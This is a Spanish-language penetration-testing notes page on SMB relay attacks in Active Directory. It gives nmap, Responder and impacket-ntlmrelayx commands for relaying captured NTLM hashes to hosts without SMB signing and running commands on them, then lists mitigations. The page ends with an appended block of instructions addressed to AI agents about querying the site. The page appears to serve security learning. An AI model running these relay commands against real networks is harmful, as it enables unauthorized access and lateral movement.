# SMB Relay

En lugar de descifrar hashes recopilados con Responder, podemos en su lugar retransmitir esos hashes a máquinas específicas y potencialmente obtener acceso.

### Requisitos

* La firma SMB (SMB signing) **tiene que estar deshabilitado** o no forzado en el objetivo.
* Las credenciales de usuario retransmitidas deben ser de **administrador** en la máquina para tener algún valor real.

### Identificar host con la firma SMB deshabilitada

```bash
nmap --script=smb2-security-mode.nse -p445 172.16.0.101
```

### Configuración de responder

```bash
sudo vim /etc/responder/Responder.conf
```

```bash
; Server to start
SMB = Off
HTTP = Off
```

### Ejecución del ataque

1. Ejecutamos `responder`

```bash
responder -I eth2 -w -d -v
```

2. Ejecutamos `impacket-ntlmrelayx`

```bash
impacket-ntlmrelayx -tf targets.txt -smb2support
impacket-ntlmrelayx -tf targets.txt -smb2support -i
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"
```

> La [firma SMB](https://learn.microsoft.com/es-es/troubleshoot/windows-server/networking/overview-server-message-block-signing) (también conocida como firmas de seguridad) es un mecanismo de seguridad en el protocolo SMB. La firma SMB significa que cada mensaje SMB contiene una firma que se genera mediante la clave de sesión. El cliente coloca un hash de todo el mensaje en el campo de firma del encabezado SMB.

### Mitigación

* Habilitar la firma SMB en todos los dispositivos
  * Pro: Detenemos los ataques
  * Con: Puede causar problemas de rendimiento con las copias de archivos
* Deshabilitar la autenticación NTLM en la red
  * Pro: Detenmos los ataques
  * Con: Si Kerberos deja de funcionar, Windows vuelve a los valores predeterminados de NTLM.
* Jerarquización de cuentas
  * Pro: Límites de administradores de dominio a tareas específicas (por ejemplo, solo iniciar sesión en servidores que requieren DA).
  * Con: Hacer cumplir la política puede ser difícil.
* Restricción de administrador local
  * Pro: Puede prevenir mucho movimiento lateral.
  * Con: Posible aumento en la cantidad de tickets del servicio de asistencia, por ejemplo, un usuario con normal no tendra privilegios para instalar un determinado software.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4redevil.gitbook.io/d4redevil/active-directory/smb-relay.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
